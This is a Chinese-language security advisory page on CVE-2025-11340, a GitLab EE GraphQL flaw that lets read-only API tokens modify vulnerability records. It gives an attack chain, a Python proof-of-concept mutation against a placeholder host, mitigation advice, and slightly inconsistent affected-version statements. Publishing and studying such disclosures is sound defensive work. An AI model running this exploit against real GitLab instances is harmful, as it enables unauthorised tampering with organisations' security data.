IPBUF安全漏洞报告
English
CVE-2025-11340 CVSS 7.7 高危

GitLab EE GraphQL权限提升漏洞(CVE-2025-11340)

披露日期: 2025-10-09

漏洞信息

漏洞编号
CVE-2025-11340
漏洞类型
权限提升/GraphQL授权绕过
CVSS评分
7.7 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
GitLab Enterprise Edition (GitLab EE)

相关标签

GitLabGitLab EE权限提升GraphQLAPI安全授权绕过CVE-2025-11340高危漏洞漏洞记录篡改

漏洞概述

CVE-2025-11340是GitLab Enterprise Edition(GitLab EE)中存在的一个高危权限提升漏洞,已于2025年10月8日通过补丁版本18.4.2发布修复。该漏洞影响所有从18.3版本到18.3.4版本、以及从18.4版本到18.4.2版本的GitLab EE实例。

该漏洞的核心问题在于GitLab EE的GraphQL API中,漏洞记录(vulnerability records)相关的变更操作(mutations)存在授权范围(scope)配置错误的问题。在正常的安全设计下,仅拥有只读API令牌(read-only API token)的认证用户应当只能对漏洞记录执行读取操作,而不能进行任何写入或修改操作。然而,由于GraphQL变更操作的权限检查逻辑存在缺陷,攻击者可以利用这些未正确限定范围的变更操作,绕过既定的只读权限限制,对漏洞记录执行未经授权的写入操作。

该漏洞的CVSS 3.1评分为7.7分,属于高危级别。其攻击向量为网络(AV:N),攻击复杂度低(AC:L),所需权限为低权限(PR:L),无需用户交互(UI:N),并且由于涉及范围变更(S:C),影响范围可能扩大。完整性影响为高(I:H),机密性影响为无(C:N),可用性影响为无(A:N)。这意味着该漏洞主要危害数据的完整性,攻击者可以篡改漏洞记录的内容,但不会直接泄露敏感数据或导致服务中断。

此漏洞由GitLab安全团队发现并修复,体现了GitLab对平台安全的高度重视。对于使用GitLab EE管理代码仓库和漏洞跟踪的企业和组织来说,及时升级到修复版本至关重要,以防止内部威胁或被入侵的低权限账户利用此漏洞篡改安全审计数据。

技术细节

该漏洞的技术根源在于GitLab EE的GraphQL API层中对漏洞记录(Vulnerability)相关变更操作(mutation)的授权范围检查不充分。

在GitLab的API安全模型中,API令牌(Personal Access Token或Project Access Token)可以被配置为不同的权限范围(scope),其中包括read_api(只读API权限)。拥有只读API令牌的认证用户,理论上只能调用GraphQL的query操作来读取数据,不能调用mutation操作来修改数据。

然而,在受影响的版本中,某些针对漏洞记录的GraphQL mutation操作(如创建、更新、删除漏洞记录的变更)未正确实施scope检查。具体来说,当用户使用只读API令牌发送GraphQL mutation请求来操作漏洞记录时,服务端没有充分验证该令牌的scope是否包含write权限,导致授权检查被绕过。

利用方式:攻击者首先需要拥有一个有效的GitLab EE账户和只读API令牌(read_api scope)。然后,攻击者构造恶意的GraphQL mutation请求,针对漏洞记录(如VulnerabilityCreate、 VulnerabilityUpdate等变更操作),通过API端点发送。由于后端缺少正确的scope验证,mutation请求会被接受并执行,从而允许只读用户对漏洞记录进行未经授权的写入操作,如修改漏洞状态、严重等级、描述等信息。

攻击链分析

STEP 1
步骤1:获取低权限账户
攻击者首先获取一个GitLab EE的合法账户,该账户仅拥有只读API令牌(read_api scope),无法执行任何写入操作。
STEP 2
步骤2:构造恶意GraphQL请求
攻击者构造针对漏洞记录(Vulnerability)的GraphQL mutation请求,如vulnerabilityUpdate、vulnerabilityCreate等变更操作,尝试修改漏洞的严重等级、状态或描述等信息。
STEP 3
步骤3:发送未授权的变更请求
攻击者通过GitLab的GraphQL API端点(/api/graphql)发送带有只读令牌的mutation请求。由于后端未正确验证令牌的scope权限,请求被接受处理。
STEP 4
步骤4:绕过授权检查
服务端在处理mutation请求时,未充分检查API令牌的权限范围,导致只读用户可以执行本应被限制的写入操作,成功绕过权限控制。
STEP 5
步骤5:篡改漏洞记录
漏洞记录被成功篡改,攻击者可以修改漏洞的严重等级、状态或其他关键信息,可能掩盖真实的安全问题或制造虚假的安全告警,影响安全团队的判断和响应。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11340 PoC - GitLab EE GraphQL Unauthorized Mutation on Vulnerability Records # This PoC demonstrates how a user with read-only API token can perform # unauthorized write operations on vulnerability records import requests # GitLab instance URL and read-only API token GITLAB_URL = "https://gitlab.example.com" API_TOKEN = "glpat-xxxxxxxxxxxxxxxxxxxx" # read_api scope token # GraphQL endpoint GRAPHQL_URL = f"{GITLAB_URL}/api/graphql" # Headers for GraphQL request headers = { "Authorization": f"Bearer {API_TOKEN}", "Content-Type": "application/json" } # Exploit: Attempt to update a vulnerability record using read-only token # This mutation should be rejected but is accepted due to incorrect scope validation mutation = """ mutation VulnerabilityUpdate($id: VulnerabilityID!, $severity: VulnerabilitySeverity) { vulnerabilityUpdate(input: { id: $id, severity: $severity }) { vulnerability { id severity } errors } } """ variables = { "id": "gid://gitlab/Vulnerability/123", "severity": "CRITICAL" } response = requests.post( GRAPHQL_URL, json={"query": mutation, "variables": variables}, headers=headers, verify=False ) print(f"Status Code: {response.status_code}") print(f"Response: {response.json()}") # If vulnerable, the mutation succeeds and modifies the vulnerability record # despite the token having only read_api scope

影响范围

GitLab EE >= 18.3.0, < 18.3.4
GitLab EE >= 18.4.0, < 18.4.2

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)审查并限制所有只读API令牌的分配,确保仅授予必要的用户;2)通过GitLab的管理界面监控GraphQL API的调用日志,关注异常的mutation操作;3)在反向代理或WAF层面添加规则,阻止低权限令牌调用漏洞记录相关的mutation接口;4)限制对漏洞管理功能的网络访问,仅允许可信网络环境访问相关API端点。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表